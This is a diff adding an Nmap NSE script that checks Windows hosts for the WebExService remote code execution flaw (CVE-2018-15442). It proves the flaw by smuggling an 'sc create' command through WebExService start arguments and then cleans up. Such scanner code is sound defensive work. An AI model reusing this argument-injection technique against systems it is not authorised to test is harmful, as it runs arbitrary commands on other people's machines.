summaryrefslogtreecommitdiffstats
path: root/scripts/smb-vuln-webexec.nse
diff options
context:
space:
mode:
Diffstat (limited to 'scripts/smb-vuln-webexec.nse')
-rw-r--r--scripts/smb-vuln-webexec.nse167
1 files changed, 167 insertions, 0 deletions
diff --git a/scripts/smb-vuln-webexec.nse b/scripts/smb-vuln-webexec.nse
new file mode 100644
index 0000000..9fedaa0
--- /dev/null
+++ b/scripts/smb-vuln-webexec.nse
@@ -0,0 +1,167 @@
+local msrpc = require "msrpc"
+local string = require "string"
+local shortport = require "shortport"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local vulns = require "vulns"
+-- compat stuff for Nmap 7.70 and earlier
+local have_rand, rand = pcall(require, "rand")
+local random_string = have_rand and rand.random_string or stdnse.generate_random_string
+local have_stringaux, stringaux = pcall(require, "stringaux")
+local strsplit = (have_stringaux and stringaux or stdnse).strsplit
+
+description = [[
+Checks whether the WebExService is installed and allows us to run code.
+
+Note: Requires a user account (local or domain).
+
+References:
+* https://www.webexec.org
+* https://blog.skullsecurity.org/2018/technical-rundown-of-webexec
+* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15442
+]]
+
+---
+-- @usage
+-- nmap --script smb-vuln-webexec --script-args smbusername=<username>,smbpass=<password> -p445 <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 445/tcp open microsoft-ds syn-ack
+-- | smb-vuln-webexec:
+-- | VULNERABLE:
+-- | Remote Code Execution vulnerability in WebExService
+-- | State: VULNERABLE
+-- | IDs: CVE:CVE-2018-15442
+-- | Risk factor: HIGH
+-- | A critical remote code execution vulnerability exists in WebExService (WebExec).
+-- | Disclosure date: 2018-10-24
+-- | References:
+-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15442
+-- | https://blog.skullsecurity.org/2018/technical-rundown-of-webexec
+-- |_ https://webexec.org
+--
+-- @see smb-webexec-exploit.nse
+
+author = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive","vuln"}
+
+portrule = shortport.port_or_service({445, 139}, "microsoft-ds", "tcp", "open")
+
+action = function(host, port)
+ local open_result
+ local close_result
+ local bind_result
+ local result
+ local test_service = random_string(16, "0123456789abcdefghijklmnoprstuvzxwyABCDEFGHIJKLMNOPRSTUVZXWY")
+
+ local vuln = {
+ title = "Remote Code Execution vulnerability in WebExService",
+ IDS = {CVE = 'CVE-2018-15442'},
+ risk_factor = "HIGH",
+ description = "A critical remote code execution vulnerability exists in WebExService (WebExec).",
+ references = {
+ 'https://webexec.org', -- TODO: We can add Cisco's advisory here
+ 'https://blog.skullsecurity.org/2018/technical-rundown-of-webexec'
+ },
+ dates = {
+ disclosure = {year = '2018', month = '10', day = '24'}, -- TODO: Update with the actual date
+ },
+ state = vulns.STATE.NOT_VULN
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ local status, smbstate = msrpc.start_smb(host, msrpc.SVCCTL_PATH)
+ if not status then
+ vuln.check_results = "Could not connect to smb: " .. smbstate
+ return report:make_output(vuln)
+ end
+
+ status, bind_result = msrpc.bind(smbstate, msrpc.SVCCTL_UUID, msrpc.SVCCTL_VERSION, nil)
+
+ if not status then
+ smb.stop(smbstate)
+ vuln.check_results = "Could not bind to SVCCTL: " .. bind_result
+ return report:make_output(vuln)
+ end
+
+ local result, username, domain = smb.get_account(host)
+ if result then
+ if domain and domain ~= "" then
+ username = domain .. "\\" .. stdnse.string_or_blank(username, '<blank>')
+ end
+ end
+
+ -- Open the service manager
+ stdnse.debug1("Trying to open the remote service manager with minimal permissions")
+ status, open_result = msrpc.svcctl_openscmanagerw(smbstate, host.ip, 0x00000001)
+
+ if not status then
+ smb.stop(smbstate)
+ vuln.check_results = "Could not open service manager: " .. open_result
+ return report:make_output(vuln)
+ end
+
+ local open_status, open_service_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], 'webexservice', 0x00010)
+ if open_status == false then
+ status, close_result = msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
+ smb.stop(smbstate)
+ if string.match(open_service_result, 'NT_STATUS_SERVICE_DOES_NOT_EXIST') then
+ vuln.check_results = "WebExService is not installed"
+ return report:make_output(vuln)
+ elseif string.match(open_service_result, 'NT_STATUS_WERR_ACCESS_DENIED') then
+ vuln.check_results = "Could not open a handle to WebExService as " .. username
+ return report:make_output(vuln)
+ end
+
+ vuln.check_results = "WebExService failed to open with an unknown status " .. open_service_result
+ return report:make_output(vuln)
+ end
+
+ -- Create a test service that we can query
+ local webexec_command = "sc create " .. test_service .. " binpath= c:\\fakepath.exe"
+ stdnse.debug1("Creating a test service: " .. webexec_command)
+ status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], strsplit(" ", "install software-update 1 " .. webexec_command))
+ if not status then
+ vuln.check_results = "Could not start WebExService"
+ return report:make_output(vuln)
+ end
+
+ -- We need some time for the service to run then stop again before we continue
+ stdnse.sleep(1)
+
+ -- Try and get a handle to the service with zero permissions
+ stdnse.debug1("Checking if the test service exists")
+ local test_status, test_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], test_service, 0x00000)
+
+ -- If the service DOES_NOT_EXIST, we couldn't run code
+ if not test_status and string.match(test_result, 'DOES_NOT_EXIST') then
+ stdnse.debug1("Result: Test service does not exist: probably not vulnerable")
+ msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
+
+ vuln.check_results = "Could not execute code via WebExService"
+ return report:make_output(vuln)
+ end
+
+ -- At this point, we know we're vulnerable!
+ vuln.state = vulns.STATE.VULN
+
+ -- Close the handle if we got one
+ if test_status then
+ stdnse.debug1("Result: Got a handle to the test service, it's vulnerable!")
+ msrpc.svcctl_closeservicehandle(smbstate, test_result['handle'])
+ else
+ stdnse.debug1("Result: The test service exists, even though we couldn't open it (" .. test_result .. ") - it's vulnerable!")
+ end
+
+ -- Delete the service and clean up (ignore the return values because there's nothing more that we can really do)
+ webexec_command = "sc delete " .. test_service .. ""
+ stdnse.debug1("Cleaning up the test service: " .. webexec_command)
+ status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], strsplit(" ", "install software-update 1 " .. webexec_command))
+ msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
+ smb.stop(smbstate)
+
+ return report:make_output(vuln)
+end